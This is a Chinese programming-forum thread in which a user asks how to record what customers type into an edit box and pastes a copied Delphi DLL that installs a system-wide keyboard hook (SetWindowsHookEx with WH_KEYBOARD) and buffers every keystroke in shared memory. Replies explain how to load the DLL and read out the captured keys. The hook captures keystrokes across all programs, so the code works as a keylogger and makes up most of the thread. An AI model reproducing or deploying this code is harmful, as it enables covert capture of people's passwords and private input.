诸位大虾:
 如何记录客户在edit中输入什么?急死俺了!在网上拷贝了一段键盘记录程序,可不会用,真急人,
不要嫌分少,待俺日后订当报答。望不吝赐教。

解决方案 »

  1.   

    附:
    键盘记录程序:
    Dll文件library dllproc;uses
      Dllunit in 'Dllunit.pas';{*R.res}
    begin
    end.unit DllUnit;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, 
       StdCtrls;const WM_DATA = WM_USER+ 1024; //自定义消息
    const BUFFER_SIZE = 16 * 1024;
    const HOOK_MEM_FILENAME = 'MEM_FILE';
    const HOOK_MUTEX_NAME = 'MUTEX_NAME';
    type
      TShared = record
        Keys: array[0..BUFFER_SIZE] of Char;
        KeyCount: Integer;
      end;
      PShared = ^TShared;  PShareMem = ^TShareMem;
      TShareMem = Record
        Data : Array[0..255] of char;
      end;
      
    var
      MemFile, HookMutex: THandle;
      hOldKeyHook: HHook;
      Shared: PShared;
      Pshare:PShareMem;
    implementationfunction KeyHookProc(iCode: Integer; wParam: WPARAM;
      lParam: LPARAM): LRESULT; stdcall; export;
    const
      KeyPressMask = $80000000;
    begin
      if iCode < 0 then
        Result := CallNextHookEx(hOldKeyHook,
          iCode,
          wParam,
          lParam)
      else begin
        if ((lParam and KeyPressMask) = 0) then
        begin
          Shared^.Keys[Shared^.KeyCount] := Char(wParam and $00ff);
          Inc(Shared^.KeyCount);
          if Shared^.KeyCount >= BUFFER_SIZE - 1 then Shared^.KeyCount := 0;
        end;
        result:=0;
      end;
    end;
    function EnableKeyHook: BOOL; export;begin
      Shared^.KeyCount := 0;
      if hOldKeyHook = 0 then
      begin
        hOldKeyHook := SetWindowsHookEx(WH_KEYBOARD,
          KeyHookProc,
          HInstance,
          0);
      end;
      Result := (hOldKeyHook <> 0);
    end;{撤消钩子过滤函数}
    function DisableKeyHook: BOOL; export;
    begin
      if hOldKeyHook <> 0 then
      begin
        UnHookWindowsHookEx(hOldKeyHook);
        hOldKeyHook := 0;
        Shared^.KeyCount := 0;
      end;
      Result := (hOldKeyHook = 0);
    end;function GetKeyCount: Integer; export;
    begin
      Result := Shared^.KeyCount;
    end;
    function GetKey(index: Integer): Char; export;
    begin
      Result := Shared^.Keys[index];
    end;procedure ClearKeyString; export;
    begin
      Shared^.KeyCount := 0;
    end;exports
      EnableKeyHook,
      DisableKeyHook,
      GetKeyCount,
      ClearKeyString,
      GetKey;initialization
            HookMutex := CreateMutex(nil,
              True,
              HOOK_MUTEX_NAME);
            MemFile := OpenFileMapping(FILE_MAP_WRITE,
              False,
              HOOK_MEM_FILENAME);
            if MemFile = 0 then
              MemFile := CreateFileMapping($FFFFFFFF,
                nil,
                PAGE_READWRITE,
                0,
                SizeOf(TShared),
                HOOK_MEM_FILENAME);
            Shared := MapViewOfFile(MemFile,
              File_MAP_WRITE,
              0,
              0,
              0);
            ReleaseMutex(HookMutex);
            CloseHandle(HookMutex);
    finalization
            if hOldKeyHook <> 0 then DisableKeyHook;
            UnMapViewOfFile(Shared);
            CloseHandle(MemFile);
    end.
      

  2.   

    edit的OnChange事件或者OnKeyPress事件里面写代码,把输入的字符记录在一个ini或者txt文档里面
      

  3.   

    你上面附上的代码,就是一个记录键盘的Dll,只要加载到你的程序中(动态和静态都可以),并在Edit 的事件中分别执行:
    OnExit:
     Str := '';
     for iCount := 0 to GetKeyCount - 1 do 
       Str := Str + GetKey(iCount);
     ClearKeyString;